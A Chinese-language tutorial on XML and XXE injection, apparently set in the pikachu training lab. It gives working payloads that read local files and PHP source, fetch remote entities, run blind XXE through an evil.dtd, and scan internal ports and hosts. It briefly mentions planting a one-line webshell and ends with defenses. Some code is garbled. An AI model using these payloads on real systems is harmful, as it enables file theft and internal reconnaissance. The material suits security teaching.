1.XML基础
1.1.XML简介
XML被称为可扩展标记语言,与HTML类似,但是HTML中的标签都是预定义(预先定义好每个标签的作用)的,而XML语言中的标签都是自定义(可以自己定义标签的名称、属性、值、作用)的;HTML中的标签可以是单标签,而XML中的标签必须是成对出现。
1.2XML语言的作用
HTML语言主要用来展示内容,而XML语言用来传输数据
1.3XML基本语法
1.3.1XML的语法规则
XML语言严格区分大小写,而HTML语言不区分大小写;XML语言只能有一个根标签;HTML语言中的属性值可以不用引号引起来,但是XM工语言中的属性值必须用引号引起来;XML中的标签必须成对出现;
XML会对特殊字符进行实体转义,需要转义的字符如下:标签之间不能交叉编写。
1.3.2.XML文档结构
XML文档由xml声明、DTD文档类型、文档元素三部分组成。
1.3.2.1DTD文档类型
DTD文档中的关键字
DOCTYPE(DTD的声明)
ENTITY(实体的声明)
ELEMENT(定义元素)
SYSTEM、PUBLIC(外部资源申请)
1.3.2.2DTD声明类型
内部声明:<!DOCTYPE 根元素[元素声明]>
外部声明:<!DOCTYPE 根元素 SYSTEM"外部文件名">
实体声明:
参数实体用"% 实体名称"声明,引用时也用"% 实体名称";其余实体直接用实体名称声明,引用时用"&实体名称;"。参数实体只能在DTD中声明,DTD中引用;其余实体只能在DTD中声明,可以在XML文档中引用。所谓的实体就是预先定义好的数据或者数据的集合。
内部实体:<!ENTITY 实体名称"实体的值">
外部实体:<!ENTITY 实体名称 SYSTEM"URL">
参数实体:<!ENTITY %实体名称"实体的值">或者<!ENTITY 号实体名称 SYSTEM"URL">
2.XXE漏洞基础
2.1漏洞原理
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
2.2各种语言的伪协议
在引入外部实体攻击时候,我们可以使用各种语言的伪协议
|---------------|---------------------------------------------------------------|----------------------------------------------|---------------------|
| libxml2 | PHP | java | .net |
| file,http,ftp | file,http,ftp,php,compress.zlib,compress.bzip2,data,glob,phar | http,https,ftp,file,jar,netdoc,mailto,gopher | file,http,https,ftP |
file:用来加载本地文件
http:用来加载远程文件
ftp:用来访问ftp服务器上的文件
php:用来读取php源码,php://filter
2.3漏洞危害
- 探测内网端口
- 攻击内网网站
- 任意读取本地文件/远程读取文件
- 读取php源码
3.XXE漏洞利用
3.1有回显利用
3.1.1读取本地文件
以pikachu靶场为例
先尝试一下网站接口能否正常解析XML文档
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[<!ENTITY name "my name is qingkuang">]>
<root>&name;</root>
测试结果如下所示,输出实体的值则表明该页面是可以解析XML文档的。
尝试利用伪协议读取本地的配置文件内容
<?xml version = "1.0"?>
<!DOCTYPE name
[ <!ENTITY hacker SYSTEM "file:///c://windows//win.ini">
]>
<name>&hacker;</name>
3.1.2读取远程文件
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE ANY[
<!ENTITY xxe sysTEM "http://IP地址/文件"> ]>
<x>&xxe;</x>
3.2POST型有回显漏洞利用
在XXE靶场中随意输入用户名密码等信息然后抓包
发现⽤户密码处格式类似于xml⽂档格式,因此可在此处测试能否解析XML⽂档。
测试是否能解析XML文档
能够解析,构造恶意的payload并执行
本地文件读取成功。
远程文件读取同上诉步骤一样,将文件地址改为ip地址
3.2.1读取本地文件php源码
<!DOCTYPE test
<!ENTITY xxe SYSTEM
php://filter/read=convert.base64-encode/resource=f:/udf.php"><user><username>&xxe,</username><password>11</password></user>
在源码中写入经过编码的一句话木马即可
3.3无回显漏洞利用
当利用上诉办法中的payload发现无回显时候,这个时候就要用的无回显漏洞利用
- 配置kali 在kali端开启Apache服务
- 配置kali中的evil.dtd文档
- 编写payload
- 查看结果
3.4探测内网端口
3.4.1探测指定端口
构造payload,同构造读取远程文件相同。
添加要探测的端口号,观察回显时间,若时间短,则是开启状态
3.4.2自动化探测
抓包后,将变量全部清除,设置端口号的位置为变量,引入端口号字典爆破,与弱口令爆破类似
3.5探测内网存活主机
将上诉中的变量改为IP地址最后一段,范围为1-254,根据响应时间可判断出,哪些可以ping通
4.防御
4.1禁用外部实体
PHP:libxml disable entity loader(true);
java:DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
python :
rom lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve entities=False))
4.2过滤
预定义字符转义:<
<>
>&
& amp ;
'
"
过滤用户提交的XML数据,关键词:SYSTEM和PUBLIC
禁用外部实体:libxml disable entity loader(true);